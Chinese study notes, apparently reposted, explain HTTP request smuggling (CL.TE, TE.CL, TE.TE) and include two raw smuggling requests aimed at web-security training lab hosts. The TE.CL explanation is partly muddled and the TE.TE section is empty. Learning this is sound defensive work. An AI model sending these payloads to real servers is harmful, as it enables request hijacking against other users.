HTTP request smuggling 學習筆記


HTTP request smuggling 原理

HTTP規范提供了兩種不同方式來指定請求的結束位置:Content-Length、Transfer-Encoding。Content-Length以字節為單位指定消息內容體的長度,Transfer-Encoding指定消息體使用分塊編碼,報文由一個或多個數據塊組成,每個數據塊大小以字節為單位,后跟換行符,然后是塊內容,整個消息體以大小為0的塊結束。

由於HTTP規范提供了以上兩種不同方法來指定HTTP消息體的長度,因此單個消息可以同時使用這兩種方法,這種情況下,它們就會發生相互沖突。

漏洞類型

CL.TE:前端服務器使用Content-Length頭,后端服務器使用Transfer-Encoding頭;
TE.CL:前端服務器使用Transfer-Encoding標頭,后端服務器使用Content-Length標頭;
TE.TE:前端和后端服務器都支持采用Transfer-Encoding標頭,但可以通過某種方式對標頭進行模糊構造,導致其中一台服務器對它實行處理。

CL.TE

POST / HTTP/1.1
Host: ac6e1f1b1ee1e1dc809704bd008f00c1.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close1
Transfer-Encoding: chunked
Content-Length: 6

0

G

前端服務器按照Content-Length標頭處理並確定請求主體長度為6個字節,直到G結束,並將此請求轉發到后端服務器。但后端服務器只支持Transfer-Encoding標頭,因此它會將消息體視為分塊編碼,它按序處理數據塊,但第一個塊就為0數據塊,因此處理終止,后序消息體G不會被執行處理,后端服務器將這些字節視為序列中下一個請求的開始。此時,如果前端服務器繼續向后端服務器轉發請求,那么后端服務器下一個接收到的請求就會是:G+POST=GPOST的請求方法,這樣,后端服務器會返回響應:Unrecognized method GPOST

TE.CL

POST / HTTP/1.1
Host: acd31fcd1ee09644806c333a00b800d1.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

12
GPOST / HTTP/1.1

0
空白行
空白行

前端服務器支持Transfer-Encoding標頭,會將消息體視為分塊編碼方式,它處理第一個長度為4字節的數據塊,內容是12,之后解析處理第二個塊,它是0長度,因此解析終止。該請求轉發到后端服務器后,由於后端服務器采用Content-Length標頭,按照其中請求主體長度的4個字節,解析會執行到12之后的行開頭,所以GPOST及以下的內容就不會被處理,后端服務器會將余下內容視為請求序列中下一個請求的起始。余下內容留在緩沖區中,若此時由用戶發送了一個 GET,即被拼接成了一個GPOST走私請求。

TE.TE

參考:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM